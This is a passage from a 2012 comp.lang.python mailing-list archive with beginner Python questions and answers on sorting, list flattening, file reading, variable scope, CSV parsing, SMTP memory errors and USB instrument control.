subhabangalore wrote: > Thanks. But I am not getting the counter "5posts 0 views"...if moderator > can please check the issue. What counter are you talking about? This is an email mailing list, also copied to the Usenet newsgroup comp.lang.python, and mirrored on other places including gmane and various web sites. Neither email nor Usenet include "counters", so you will have to explain what you are talking about. -- Steven From pengyu.ut at gmail.com Mon Dec 3 17:17:08 2012 From: pengyu.ut at gmail.com (Peng Yu) Date: Mon, 3 Dec 2012 14:17:08 -0800 (PST) Subject: The default locale of sorted() Message-ID: <7eba3ec6-3fd7-4b0a-812a-d6a593b49309@g6g2000vbk.googlegroups.com> Hi, I'm not able to find the documentation on what locale is used for sorted() when the 'cmp' argument is not specified. Could anybody let me what the default is? If I always want LC_ALL=C, do I need to explicitly set the locale? Or it is the default? Regards, Peng From ian.g.kelly at gmail.com Mon Dec 3 17:34:29 2012 From: ian.g.kelly at gmail.com (Ian Kelly) Date: Mon, 3 Dec 2012 15:34:29 -0700 Subject: The default locale of sorted() In-Reply-To: <7eba3ec6-3fd7-4b0a-812a-d6a593b49309@g6g2000vbk.googlegroups.com> References: <7eba3ec6-3fd7-4b0a-812a-d6a593b49309@g6g2000vbk.googlegroups.com> Message-ID: On Mon, Dec 3, 2012 at 3:17 PM, Peng Yu wrote: > Hi, > > I'm not able to find the documentation on what locale is used for > sorted() when the 'cmp' argument is not specified. Could anybody let > me what the default is? If I always want LC_ALL=C, do I need to > explicitly set the locale? Or it is the default? > The default is that a sorts before b if a < b. So what you actually want to know is how strings compare to one another, and the answer from the Python 3 documentation is: "Strings are compared lexicographically using the numeric equivalents (the result of the built-in function ord()) of their characters." If you want to sort according to a specific locale, use the locale.strxfrm key function: sorted_strings = sorted(original_strings, key=locale.strxfrm) -------------- next part -------------- An HTML attachment was scrubbed... URL: From walterhurry at lavabit.com Mon Dec 3 17:43:40 2012 From: walterhurry at lavabit.com (Walter Hurry) Date: Mon, 3 Dec 2012 22:43:40 +0000 (UTC) Subject: Conversion of List of Tuples References: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> <50bd239c$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: On Mon, 03 Dec 2012 22:11:40 +0000, Steven D'Aprano wrote: > On Mon, 03 Dec 2012 13:14:19 -0800, subhabangalore wrote: > >> Thanks. But I am not getting the counter "5posts 0 views"...if >> moderator can please check the issue. > > What counter are you talking about? > > This is an email mailing list, also copied to the Usenet newsgroup > comp.lang.python, and mirrored on other places including gmane and > various web sites. Neither email nor Usenet include "counters", so you > will have to explain what you are talking about. Doubtless he is talking about G**gle Groups, since I don't see his posts anyway. From laila at bneakiwa.nl Mon Dec 3 17:47:53 2012 From: laila at bneakiwa.nl (laila at bneakiwa.nl) Date: Mon, 3 Dec 2012 14:47:53 -0800 (PST) Subject: Working with classes Message-ID: <6ab9bead-68b2-4733-bbcb-ee15fbadaa8d@googlegroups.com> Hello, I've been working on this program for a long time but can't seem to get it to work.. The first array is the input file, then a class, another class and the actual program. Could anyone see what is wrong? I'm sorry if the program doesn't make any sense at all I'm just starting to learn this.. The exercise wants us to do the following: 5,4 4,5 8,7 Add behind 6,3 3,2 9,6 4,3 Add in front 7,6 Add behind 9,8 Add in front 5,5 7,8 6,5 6,4 These are coordinates in the form(x,y) and the x coordinates need to be raised by 1. pirateinvoer: 5,4 4,5 8,7=6,3 3,2 9,6 4,3=7,6=9,8=5,5 7,8 6,5 6,4 ''' Created on 2 dec. 2012 @author: Laila ''' class CoordinateRow(): def __init__(self) : self.coordinate_row = [] def row_even(self,EVEN, rows): self.row_even=[rows[row] for row in EVEN] return self.row_even def row_odd(self,ONEVEN,rows): self.row_odd=[rows[row] for row in ONEVEN] return self.row_odd def rows_front(self,index, row_front): self.new_row_front=self.row_even.insert(index,row_front) return self.new_row_front def rows_back(self,index, row_back): self.new_row_back=self.row_odd.append(index,row_back) return self.new_row_back class Coordinaat: def __init__(self,x,y): self.x = x self.y = y def correct_coordinates(self, OPHOGING_X, OPHOGING_Y): self.x=self.x + OPHOGING_X self.y=self.y + OPHOGING_Y return self.y return self.x from coordinaat import Coordinaat from coordinate_row import CoordinateRow file_input=file('pirateinvoer','r') all_coordinates=file_input.read() EVEN=range(0,4,2) ONEVEN=range(1,5,2) OPHOGING_X=1 OPHOGING_Y=0 def make_coordinate_row(all_coordinate_rows): for coordinate_rows in all_coordinate_rows: coordinate_rows=coordinate_rows.split() make_x_y(coordinate_rows) def make_x_y(coordinate_rows): for coordinate_row in coordinate_rows: x_y=coordinate_row.split(',') return Coordinaat (x_y[0],x_y[1]) def make_route(coordinate_rows): result=[] new_row=row.coordinate_rows.row_even(EVEN, coordinate_rows) result+=new_row new_row=row.coordinate_rows.row_oneven(ONEVEN, coordinate_rows) result+=new_row print result all_coordinate_rows = all_coordinates.strip().split('=') make_coordinate_row(all_coordinate_rows) for coordinates in all_coordinate_rows: row = CoordinateRow() print row From formisc at gmail.com Mon Dec 3 18:06:43 2012 From: formisc at gmail.com (Andrew Z) Date: Mon, 3 Dec 2012 18:06:43 -0500 Subject: noob: print and file.read() Message-ID: Hello, why the following code doesn't print the content of the file: #!/usr/bin/python from_file ="file.txt" in_file = open(from_file) str = in_file.read() print "Here should be the output from the file - ", in_file.read() print "Here should be the output from the STR- ", str in_file.close() The first "print" has nothing whereas the second properly displays the content of the file. Thank you AZ -------------- next part -------------- An HTML attachment was scrubbed... URL: From python at mrabarnett.plus.com Mon Dec 3 18:31:56 2012 From: python at mrabarnett.plus.com (MRAB) Date: Mon, 03 Dec 2012 23:31:56 +0000 Subject: noob: print and file.read() In-Reply-To: References: Message-ID: <50BD366C.6050608@mrabarnett.plus.com> On 2012-12-03 23:06, Andrew Z wrote: > Hello, > why the following code doesn't print the content of the file: > #!/usr/bin/python > > from_file ="file.txt" > in_file = open(from_file) > str = in_file.read() You've read the entire file, leaving the file pointer positioned at the end of the file. > print "Here should be the output from the file - ", in_file.read() You're trying to read the file again, but the file pointer is still positioned at the end of the file, and there's no more left to read. If you want to read it again, you'll need to reset the file pointer back to the start of the file using in_file.seek(0). > print "Here should be the output from the STR- ", str > in_file.close() > > > The first "print" has nothing whereas the second properly displays the > content of the file. > From rhodri at wildebst.demon.co.uk Mon Dec 3 19:27:40 2012 From: rhodri at wildebst.demon.co.uk (Rhodri James) Date: Tue, 04 Dec 2012 00:27:40 -0000 Subject: Working with classes References: <6ab9bead-68b2-4733-bbcb-ee15fbadaa8d@googlegroups.com> Message-ID: On Mon, 03 Dec 2012 22:47:53 -0000, wrote: > Hello, I've been working on this program for a long time but can't seem > to get it to work. I'm sorry, you are going to have to be a lot clearer. It isn't even a little bit obvious what you are talking about, which rather makes me suspect this is a homework question :-) > The first array is the input file, What array? Do you mean the string of numbers haphazardly separated by spaces, commas and equals signs? > then a class, another class and the actual program. Are those in separate files? Your "import" statements suggest they are, but you don't give us any other hints. > Could anyone see what is wrong? It's a bit hard to do that when you don't tell us what "right" means in this case, and why you think your program might be wrong. > I'm sorry if the program doesn't make any sense at all I'm just > starting to learn this. The program makes perfectly good sense, it is your description that I don't understand. Please tell us what it is supposed to do, and what makes you think it doesn't do it. -- Rhodri James *-* Wildebeest Herder to the Masses From yambury at uniserve.com Mon Dec 3 20:04:00 2012 From: yambury at uniserve.com (yambury at uniserve.com) Date: Mon, 3 Dec 2012 17:04:00 -0800 (PST) Subject: Can't get simplegui to display cards in Codesculptor (Blackjack project) Message-ID: Help - I don't want to give up on this. I have all the logic working, but can't draw the cards on the canvas. Here is my link - Please try it out and offer suggestions http://www.codeskulptor.org/#user7-Ok26As4ZzMIuXVH-12.py Thanks, Jo From d at davea.name Mon Dec 3 21:28:16 2012 From: d at davea.name (Dave Angel) Date: Mon, 03 Dec 2012 21:28:16 -0500 Subject: Puzzling error msg. In-Reply-To: References: Message-ID: <50BD5FC0.2050308@davea.name> On 12/03/2012 03:33 PM, Chris Angelico wrote: > > Is it possible that the error actually came from further up (with a > faulty line number) and was actually because communicate() somehow > returned an empty list? That's the only place in the code quoted that > I'm seeing indexing, but communicate() is supposed to return a tuple, > not a list. ChrisA Tuples can also be empty. Try j = () for example, and look at its type and length. No idea if this is the problem, but just wanted to nitpick. -- DaveA From formisc at gmail.com Mon Dec 3 21:57:25 2012 From: formisc at gmail.com (Andrew Z) Date: Mon, 3 Dec 2012 21:57:25 -0500 Subject: noob: print and file.read() Message-ID: Mrab, you nailed it. thank you very much! AZ -------------- next part -------------- An HTML attachment was scrubbed... URL: From rosuav at gmail.com Mon Dec 3 22:27:16 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 4 Dec 2012 14:27:16 +1100 Subject: Working with classes In-Reply-To: <6ab9bead-68b2-4733-bbcb-ee15fbadaa8d@googlegroups.com> References: <6ab9bead-68b2-4733-bbcb-ee15fbadaa8d@googlegroups.com> Message-ID: On Tue, Dec 4, 2012 at 9:47 AM, wrote: > Hello, I've been working on this program for a long time but can't seem to get it to work.. The first array is the input file, then a class, another class and the actual program. Could anyone see what is wrong? I'm sorry if the program doesn't make any sense at all I'm just starting to learn this.. > > The exercise wants us to do the following: Hi! Thanks for being up-front about it being homework :) In what way does your code not work? Is it giving an exception? Paste the exception and traceback to us - it'll be a lot easier to see what's going on. > file_input=file('pirateinvoer','r') > all_coordinates=file_input.read() No idea if it's your issue or not, but this is an unusual way to read files. Normally you'll want to use the open() function, and probably use 'with' to ensure it's closed promptly. Note that Python is not Java. You don't have to put one class in one file. Instead of importing classes from other files, just have them all in your main file - it makes a lot more sense, usually. In Python, a file usually is a module, on par with the modules in the standard library. It can contain lots of (related) classes and functions. ChrisA From rosuav at gmail.com Mon Dec 3 22:28:21 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 4 Dec 2012 14:28:21 +1100 Subject: Puzzling error msg. In-Reply-To: <50BD5FC0.2050308@davea.name> References: <50BD5FC0.2050308@davea.name> Message-ID: On Tue, Dec 4, 2012 at 1:28 PM, Dave Angel wrote: > On 12/03/2012 03:33 PM, Chris Angelico wrote: >> >> Is it possible that the error actually came from further up (with a >> faulty line number) and was actually because communicate() somehow >> returned an empty list? That's the only place in the code quoted that >> I'm seeing indexing, but communicate() is supposed to return a tuple, >> not a list. ChrisA > Tuples can also be empty. Try j = () for example, and look at its type > and length. > > No idea if this is the problem, but just wanted to nitpick. They can, yes, but the error said *list* index out of range. That shouldn't happen off an empty tuple. ChrisA From d at davea.name Mon Dec 3 22:43:16 2012 From: d at davea.name (Dave Angel) Date: Mon, 03 Dec 2012 22:43:16 -0500 Subject: Puzzling error msg. In-Reply-To: References: <50BD5FC0.2050308@davea.name> Message-ID: <50BD7154.1010208@davea.name> On 12/03/2012 10:28 PM, Chris Angelico wrote: > On Tue, Dec 4, 2012 at 1:28 PM, Dave Angel wrote: >> On 12/03/2012 03:33 PM, Chris Angelico wrote: >>> >>> Is it possible that the error actually came from further up (with a >>> faulty line number) and was actually because communicate() somehow >>> returned an empty list? That's the only place in the code quoted that >>> I'm seeing indexing, but communicate() is supposed to return a tuple, >>> not a list. ChrisA >> Tuples can also be empty. Try j = () for example, and look at its type >> and length. >> >> No idea if this is the problem, but just wanted to nitpick. > They can, yes, but the error said *list* index out of range. That > shouldn't happen off an empty tuple. > Quite right. I missed that part of the context. Sorry. -- DaveA From indu_shreenath at yahoo.co.in Tue Dec 4 02:32:19 2012 From: indu_shreenath at yahoo.co.in (indu_shreenath at yahoo.co.in) Date: Mon, 3 Dec 2012 23:32:19 -0800 (PST) Subject: how to split the file into two sections.... Message-ID: Hi: I have a text as version comp X - aa version comp Y - bbb version comp Z -cc 12.12 Check for option 1 12:13 Pass Test 1 12:14 verified bla bla bla 12.15 completed 12.16 Fail Test 2 12:17 verified bla bla bla 12.18 completed 12.19 Fail Test 3 12:20 verified bla bla bla 12.21 completed 12.22 Check for option B 12:23 Pass Test4 12:24 verified bla bla bla 12.25 completed 12.26 Fail Test 5 12:27 verified bla bla bla 12.28 completed 12.29 Fail Test 6 12:30 verified bla bla bla 12.31 completed In this I want to split the file to two sections to post the summary as Check for option 1 Pass 2 Fail 1 Check for option 2 Pass 2 Fail 1 From moonhkt at gmail.com Tue Dec 4 03:15:22 2012 From: moonhkt at gmail.com (moonhkt) Date: Tue, 4 Dec 2012 00:15:22 -0800 (PST) Subject: using smtp sent large file upto 60MB Message-ID: <1d8228ff-8f9e-4258-8927-2f964c36d8bf@n5g2000vbk.googlegroups.com> Hi All How to using python send file uptp 60MB ? s = smtplib.SMTP("localhost") #~~ s.set_debuglevel(1) s.sendmail(from_addr, to_addr,m.as_string()) s.quit For 13MB file have below error s.sendmail(from_addr, to_addr,m.as_string()) File "/opt/freeware/lib/python2.6/email/message.py", line 135, in as_string g.flatten(self, unixfrom=unixfrom) File "/opt/freeware/lib/python2.6/email/generator.py", line 84, in flatten self._write(msg) File "/opt/freeware/lib/python2.6/email/generator.py", line 119, in _write self._fp.write(sfp.getvalue()) MemoryError: out of memory From __peter__ at web.de Tue Dec 4 04:07:54 2012 From: __peter__ at web.de (Peter Otten) Date: Tue, 04 Dec 2012 10:07:54 +0100 Subject: how to split the file into two sections.... References: Message-ID: indu_shreenath at yahoo.co.in wrote: > Hi: > I have a text as > version comp X - aa > version comp Y - bbb > version comp Z -cc > > 12.12 Check for option 1 > > 12:13 Pass Test 1 > 12:14 verified bla bla bla > 12.15 completed > > 12.16 Fail Test 2 > 12:17 verified bla bla bla > 12.18 completed > > 12.19 Fail Test 3 > 12:20 verified bla bla bla > 12.21 completed > > 12.22 Check for option B > > 12:23 Pass Test4 > 12:24 verified bla bla bla > 12.25 completed > > 12.26 Fail Test 5 > 12:27 verified bla bla bla > 12.28 completed > > 12.29 Fail Test 6 > 12:30 verified bla bla bla > 12.31 completed > > In this I want to split the file to two sections to post the summary as > > Check for option 1 > Pass 2 > Fail 1 > Check for option 2 > Pass 2 > Fail 1 Open the file Iterate over the lines Extract the second word If it's "Check" print the current stats (if any) and remember the line If it's "Fail" increase a fail counter If it's "Pass" increase a fail counter Print the current stats (if any) [Optional] Come back here for help with the details once you have some code. From news at blinne.net Tue Dec 4 04:44:32 2012 From: news at blinne.net (Alexander Blinne) Date: Tue, 04 Dec 2012 10:44:32 +0100 Subject: Conversion of List of Tuples In-Reply-To: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> References: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> Message-ID: <50bdc601$0$9517$9b4e6d93@newsspool1.arcor-online.net> Am 03.12.2012 20:58, schrieb subhabangalore at gmail.com: > Dear Group, > > I have a tuple of list as, > > tup_list=[(1,2), (3,4)] > Now if I want to covert as a simple list, > > list=[1,2,3,4] > > how may I do that? Another approach that has not yet been mentioned here: >>> a=[(1,2), (3,4)] >>> b=[] >>> map(b.extend, a) [None, None] >>> b [1, 2, 3, 4] map returns [None, None] because extend returns nothing, but now b==[1,2,3,4]. There are more ways: >>> from operator import add >>> reduce(add, a) (1, 2, 3, 4) or >>> reduce(operator.add, (list(t) for t in a)) [1, 2, 3, 4] I didn't do any performance testing, i guess the first one should be about as fast es the for-loop approach with .extend() and the other two might be quite slow. Although this only really matters if you have large lists. Greetings From rosuav at gmail.com Tue Dec 4 05:07:49 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 4 Dec 2012 21:07:49 +1100 Subject: using smtp sent large file upto 60MB In-Reply-To: <1d8228ff-8f9e-4258-8927-2f964c36d8bf@n5g2000vbk.googlegroups.com> References: <1d8228ff-8f9e-4258-8927-2f964c36d8bf@n5g2000vbk.googlegroups.com> Message-ID: On Tue, Dec 4, 2012 at 7:15 PM, moonhkt wrote: > How to using python send file uptp 60MB ? Step one: Don't. SMTP is almost never the best choice for sending huge files around. There are plenty of other ways to share files; send an email with instructions on how to access the file, rather than attaching the file. For general consumption, the easiest way is usually to include a URL for HTTP download. If it's something internal, you might want to put the file on a shared-access FTP server or file share. ChrisA From gusarer at gmail.com Tue Dec 4 05:55:44 2012 From: gusarer at gmail.com (gusarer at gmail.com) Date: Tue, 4 Dec 2012 14:55:44 +0400 Subject: scope, function, mutable Message-ID: Hi, What is the appropriate definition for the following behavior in Python 2.7 (see code below). Both functions have assignment in it (like "x = ") so I assume, that x is a local variable in both functions. Also I thought this rule doesn't depend on WHERE in this function we find the assignment. But in both functions x becomes local variable only AFTER assignment, so in f2 x[1] = 99 changes the global varialble (btw, x[3] = 99 doesn't). def f1(x): x = [44] + x[1:] x[1] = 99 def f2(x): x[1] = 99 x = [44] + x[1:] x[3] = 99 t = [1,2,3,4,5,6,7] f1(t) print t # [1, 2, 3, 4, 5, 6, 7] t = [1,2,3,4,5,6,7] f2(t) print t # [1, 99, 3, 4, 5, 6, 7] Thank you. Roman Gusarev. -------------- next part -------------- An HTML attachment was scrubbed... URL: From tolidtm at gmail.com Tue Dec 4 06:00:05 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 4 Dec 2012 12:00:05 +0100 Subject: CSV out of range Message-ID: Hello, I tried to read a CSV file with 30000 products in it and index it into a list using file = open("ShopPrices.csv", "rbU") reader = csv.reader(file, delimiter=";") mylist = [] for x in reader: mylist.append(x) The problem comes when I try to index the SKU array and the field is empty for sku in mylist: print sku[3] after the 3060 result I'm getting an error: IndexError: list index out of range and it seems that there I have empty array, I wanted to ignore the empty arrays using if statement, but it does the same. Thanks Anatoli From thbach at students.uni-mainz.de Tue Dec 4 06:31:03 2012 From: thbach at students.uni-mainz.de (Thomas Bach) Date: Tue, 4 Dec 2012 12:31:03 +0100 Subject: CSV out of range In-Reply-To: References: Message-ID: <20121204113102.GA4194@taris.box> Hi there, Please be a bit more precise? On Tue, Dec 04, 2012 at 12:00:05PM +0100, Anatoli Hristov wrote: > > The problem comes when I try to index the SKU array and the field is > empty Can you provide an example for that? > and it seems that there I have empty array, I wanted to ignore the > empty arrays using if statement, but it does the same. Please provide a small, runable example with the actual code you tried that raises the exception and the complete trace back. Regards, Thomas Bach. From steve+comp.lang.python at pearwood.info Tue Dec 4 06:32:41 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 04 Dec 2012 11:32:41 GMT Subject: scope, function, mutable References: Message-ID: <50bddf58$0$29994$c3e8da3$5496439d@news.astraweb.com> On Tue, 04 Dec 2012 14:55:44 +0400, gusarer wrote: > What is the appropriate definition for the following behavior in Python > 2.7 (see code below). > Both functions have assignment in it (like "x = ") so I assume, that x > is a local variable in both functions. Well, yes, but that's not why x is local in this case. In this case, x is local because the name of the function parameter is "x", and function parameters are always local. > Also I thought this rule doesn't depend on WHERE in this function we > find the assignment. > > But in both functions x becomes local variable only AFTER assignment, Not so. Read on. > so > in f2 x[1] = 99 changes the global varialble (btw, x[3] = 99 doesn't). > > def f1(x): > x = [44] + x[1:] > x[1] = 99 When you call f1(t), with t a global list, Python passes the list object to the function and binds it to name x. The function gets executed like this pseudo-code: # calling f1(t) pass object known as "t" to the function bind that object to the local name "x" create a new list: [44] + a slice of x bind this new list to name "x" modify in place item 1 of the new list known as "x" Notice that the only *modification* occurs after a new list is created and bound to the name "x", so the modification does not change the original, global, list. But now consider your other function: > def f2(x): > x[1] = 99 > x = [44] + x[1:] > x[3] = 99 In pseudo-code again: # calling f2(t) pass object known as "t" to the function bind that object to the local name "x" modify in place item 1 of the list known as "x", which is another name for the global list known as "t" create a new list: [44] + a slice of x bind this new list to name "x" modify in place item 3 of the new list known as "x" So in this case you have to in-place modifications. The first occurs while the name "x" still refers to the original list, and so it modifies the original list. The second occurs after the name "x" has been rebound to a new list, and so it doesn't change the original. -- Steven From thbach at students.uni-mainz.de Tue Dec 4 06:40:32 2012 From: thbach at students.uni-mainz.de (Thomas Bach) Date: Tue, 4 Dec 2012 12:40:32 +0100 Subject: scope, function, mutable In-Reply-To: References: Message-ID: <20121204114032.GB4194@taris.box> Hi, On Tue, Dec 04, 2012 at 02:55:44PM +0400, gusarer at gmail.com wrote: > What is the appropriate definition for the following behavior in Python 2.7 > (see code below). It has something to do with mutability of lists and that Python passes around references and not the actual objects. > > def f1(x): > x = [44] + x[1:] > x[1] = 99 > > def f2(x): > x[1] = 99 > x = [44] + x[1:] > x[3] = 99 > > t = [1,2,3,4,5,6,7] > f1(t) > print t # [1, 2, 3, 4, 5, 6, 7] > t = [1,2,3,4,5,6,7] > f2(t) > print t # [1, 99, 3, 4, 5, 6, 7] Put that code in e.g. file.py and run python -m pdb file.py this will drop you off in the debugger. Step through your code line by line (using ?s?) and see how the function calls affect your list (e.g. via ?print x?/?print t?). If this confuses you further? Well, tell me that my autodidact methodology did not work out at all and ask again. ;) Regards, Thomas. From hansmu at xs4all.nl Tue Dec 4 06:45:06 2012 From: hansmu at xs4all.nl (Hans Mulder) Date: Tue, 04 Dec 2012 12:45:06 +0100 Subject: Conversion of List of Tuples In-Reply-To: <50bdc601$0$9517$9b4e6d93@newsspool1.arcor-online.net> References: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> <50bdc601$0$9517$9b4e6d93@newsspool1.arcor-online.net> Message-ID: <50bde242$0$6947$e4fe514c@news2.news.xs4all.nl> On 4/12/12 10:44:32, Alexander Blinne wrote: > Am 03.12.2012 20:58, schrieb subhabangalore at gmail.com: >> Dear Group, >> >> I have a tuple of list as, >> >> tup_list=[(1,2), (3,4)] >> Now if I want to covert as a simple list, >> >> list=[1,2,3,4] >> >> how may I do that? > > Another approach that has not yet been mentioned here: > >>>> a=[(1,2), (3,4)] >>>> b=[] >>>> map(b.extend, a) > [None, None] >>>> b > [1, 2, 3, 4] > > map returns [None, None] because extend returns nothing, but now > b==[1,2,3,4]. It's considered bad style to use map it you don't want the list it produces. > There are more ways: > >>>> from operator import add >>>> reduce(add, a) > (1, 2, 3, 4) There's a built-in that does "reduce(operator.add"; it's called "sum": >>> sum(a, ()) (1, 2, 3, 4) >>> > or > >>>> reduce(operator.add, (list(t) for t in a)) > [1, 2, 3, 4] This is a valid use case for the map operator: >>> sum(map(list, a), []) [1, 2, 3, 4] >>> > I didn't do any performance testing, i guess the first one should be > about as fast as the for-loop approach with .extend() and the other two > might be quite slow. Although this only really matters if you have large > lists. Hope this helps, -- HansM From jpiitula at ling.helsinki.fi Tue Dec 4 06:54:04 2012 From: jpiitula at ling.helsinki.fi (Jussi Piitulainen) Date: 04 Dec 2012 13:54:04 +0200 Subject: scope, function, mutable References: Message-ID: gusarer at gmail.com writes: > What is the appropriate definition for the following behavior in > Python 2.7 (see code below). > > Both functions have assignment in it (like "x = ") so I assume, that > x is a local variable in both functions. It's a local variable in both functions because it's a formal parameter in both. The assignments don't make any difference here. (And a statement like x[k] = ... never does.) > Also I thought this rule doesn't depend on WHERE in this function we > find the assignment. That's correct but not relevant here. It's relevant when the variable does not occur in the function's parameter list. > But in both functions x becomes local variable only AFTER > assignment, so in f2 x[1] = 99 changes the global varialble (btw, > x[3] = 99 doesn't). In both functions, x is local from the start. Its initial value is the same mutable object that is the value of the global variable t. The assignments x = [44] ... give it a new value, another mutable object, but x[k] = ... don't. The latter make a change in the old value which is still the value of the globale variable t. > def f1(x): > x = [44] + x[1:] > x[1] = 99 > > def f2(x): > x[1] = 99 > x = [44] + x[1:] > x[3] = 99 > > t = [1,2,3,4,5,6,7] > f1(t) > print t # [1, 2, 3, 4, 5, 6, 7] > t = [1,2,3,4,5,6,7] > f2(t) > print t # [1, 99, 3, 4, 5, 6, 7] You might want to consider something like the following, because the point really has everything to do with the fact that mutable objects are not copied when they are passed to functions, assigned to variables, or stored somewhere like a list, and little to do with global vs local (other than there being different variables with the same name). t = [1,2,3] u = [1,2,3] w = u w[1] = 0 u = t Some people will tell you to use different words but the behaviour of the language doesn't change. From duncan.booth at invalid.invalid Tue Dec 4 07:01:36 2012 From: duncan.booth at invalid.invalid (Duncan Booth) Date: 4 Dec 2012 12:01:36 GMT Subject: scope, function, mutable References: Message-ID: Thomas Bach wrote: > Put that code in e.g. file.py and run > > python -m pdb file.py > > this will drop you off in the debugger. Step through your code line by > line (using ? ~s? T) and see how the function calls affect your list > (e.g. via ? ~print x? T/? ~print t? T). If this confuses you further? > ? Well, tell me that my autodidact methodology did not work out at all > and ask again. ;) For an example this simple an even better option is to go to http://www.pythontutor.com/visualize.html, paste the code into the web page and step through it. Or even just go to http://tinyurl.com/camh9cb to have it pre-populated with this code sample. -- Duncan Booth http://kupuguy.blogspot.com From jeandubois314 at gmail.com Tue Dec 4 07:14:52 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Tue, 4 Dec 2012 04:14:52 -0800 (PST) Subject: [newbie] problem with usbtmc-communication Message-ID: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> The following test program which tries to communicate with a Keithley 2200 programmable power supply using usbtmc in Python does not work as expected. I have connected a 10 ohm resistor to its terminals and I apply 0.025A, 0.050A, 0.075A en 0.1A, I then measure the current and the voltage en write them in a file De data produced looks like this: 0.00544643 0.254061; first current value is wrong, voltage value is correct 0.0250807 0.509289; second current value is wrong, but it corresponds to the first, second voltage is correct 0.0501099 0.763945; 3rd current value is wrong, but it corresponds to the second, 3rd voltage is right 0.075099 1.01792; 4th current value is wrong, it corresponds to the 3rd, 4th voltage is right 4th correct current value is missing But is should be (numerical inaccuracy taking into account)(these data were produced by a similar octave-program): 0.0248947 0.254047 0.0499105 0.509258 0.0749044 0.764001 0.0998926 1.01828 Here is the python-program: #!/usr/bin/python import time import os import sys measurementcurr='' measurementvolt='' timesleepdefault=1 filename ='mydata.txt' usbkeith = open('/dev/usbtmc1','r+') usbkeith.flush() usbkeith.write("*IDN?\n") #strip blank line: identification=usbkeith.readline().strip() print 'Found device: ',identification usbkeith.write("SYST:REM" + "\n") usbkeith.write(":SENS:VOLT:PROT 1.5\n") keithdata = open(filename,'w') #start first measurement usbkeith.write(":SOUR:CURR 0.025\n") usbkeith.write(":OUTP:STAT ON\n") time.sleep(timesleepdefault) usbkeith.write(":MEAS:CURR?\n") time.sleep(timesleepdefault) measurementcurr=usbkeith.readline() print 'Measured current 1: ',measurementcurr usbkeith.write("MEAS:VOLT?\n") time.sleep(timesleepdefault) measurementvolt=usbkeith.readline() print 'Measured voltage 1: ',measurementvolt keithdata.write(measurementcurr.strip()+' '+measurementvolt) #start second measurement usbkeith.write("SOUR:CURR 0.050\n") time.sleep(timesleepdefault) usbkeith.write("MEAS:CURR?\n") time.sleep(timesleepdefault) measurementcurr=usbkeith.readline() print 'Measured current 2: ',measurementcurr usbkeith.write("MEAS:VOLT?\n") time.sleep(timesleepdefault) measurementvolt=usbkeith.readline() print 'Measured voltage 2: ',measurementvolt keithdata.write(measurementcurr.strip()+' '+measurementvolt) #start 3rd measurement time.sleep(timesleepdefault) usbkeith.write("SOUR:CURR 0.075\n") time.sleep(timesleepdefault) usbkeith.write("MEAS:CURR?\n") time.sleep(timesleepdefault) measurementcurr=usbkeith.readline() print 'Measured current 3: ',measurementcurr usbkeith.write("MEAS:VOLT?\n") time.sleep(timesleepdefault) measurementvolt=usbkeith.readline() print 'Measured voltage 3: ',measurementvolt keithdata.write(measurementcurr.strip()+' '+measurementvolt) #start 4th measurement time.sleep(timesleepdefault) usbkeith.write("SOUR:CURR 0.1\n") time.sleep(timesleepdefault) usbkeith.write("MEAS:CURR?\n") time.sleep(timesleepdefault) measurementcurr=usbkeith.readline() print 'Measured current 4: ',measurementcurr usbkeith.write("MEAS:VOLT?\n") time.sleep(timesleepdefault) measurementvolt=usbkeith.readline() print 'Measured voltage 4: ',measurementvolt keithdata.write(measurementcurr.strip()+' '+measurementvolt) usbkeith.write(":OUTP:STAT OFF\n") print "Goodbye, data logged in file:" print filename usbkeith.close() keithdata.close() can anyone here what is going wrong and how to get it right? thanks jean From tolidtm at gmail.com Tue Dec 4 07:36:55 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 4 Dec 2012 13:36:55 +0100 Subject: CSV out of range In-Reply-To: <20121204113102.GA4194@taris.box> References: <20121204113102.GA4194@taris.box> Message-ID: On Tue, Dec 4, 2012 at 12:31 PM, Thomas Bach wrote: > Hi there, > > Please be a bit more precise? > > On Tue, Dec 04, 2012 at 12:00:05PM +0100, Anatoli Hristov wrote: >> >> The problem comes when I try to index the SKU array and the field is >> empty > > Can you provide an example for that? > >> and it seems that there I have empty array, I wanted to ignore the >> empty arrays using if statement, but it does the same. > > Please provide a small, runable example with the actual code you tried > that raises the exception and the complete trace back. > > Regards, > Thomas Bach. > -- > http://mail.python.org/mailman/listinfo/python-list Ok as I said I run a small script, here it is: >>> import csv >>> >>> file = open("ShopPrices.csv", "rbU") >>> reader = csv.reader(file, delimiter=";") >>> mylist = [] >>> for i in reader: ... mylist.append(i) ... >>> mylist[543] ['19ITN992575', '19I', 'TN', '992575', 'RAB-UP-750-H3', 'Triton 19" heavy duty 150kg shelf plate 750mm 1U black', '39,93', '0', '', '', '', '', '', '', '', '', '', '', ''] >>> sku = [] >>> for x in mylist: ... sku.append(x[4]) ... Traceback (most recent call last): File "", line 2, in ? IndexError: list index out of range >>> sku[43] 'PDM2332IEC-3P30R-3' >>> It appends all the data till it comes one SKU with empty record ("") . I tried to use tey and except, but still the same Thanks From tolidtm at gmail.com Tue Dec 4 08:02:46 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 4 Dec 2012 14:02:46 +0100 Subject: CSV out of range In-Reply-To: References: <20121204113102.GA4194@taris.box> Message-ID: The issue is now solved I did: for x in mylist: try: sku.append(x[4]) except IndexError: pass Thank you for your help Anatoli From neilc at norwich.edu Tue Dec 4 08:54:39 2012 From: neilc at norwich.edu (Neil Cerutti) Date: 4 Dec 2012 13:54:39 GMT Subject: Conversion of List of Tuples References: <6049bc85-6f8e-429b-a855-ecef47a9d28e@googlegroups.com> 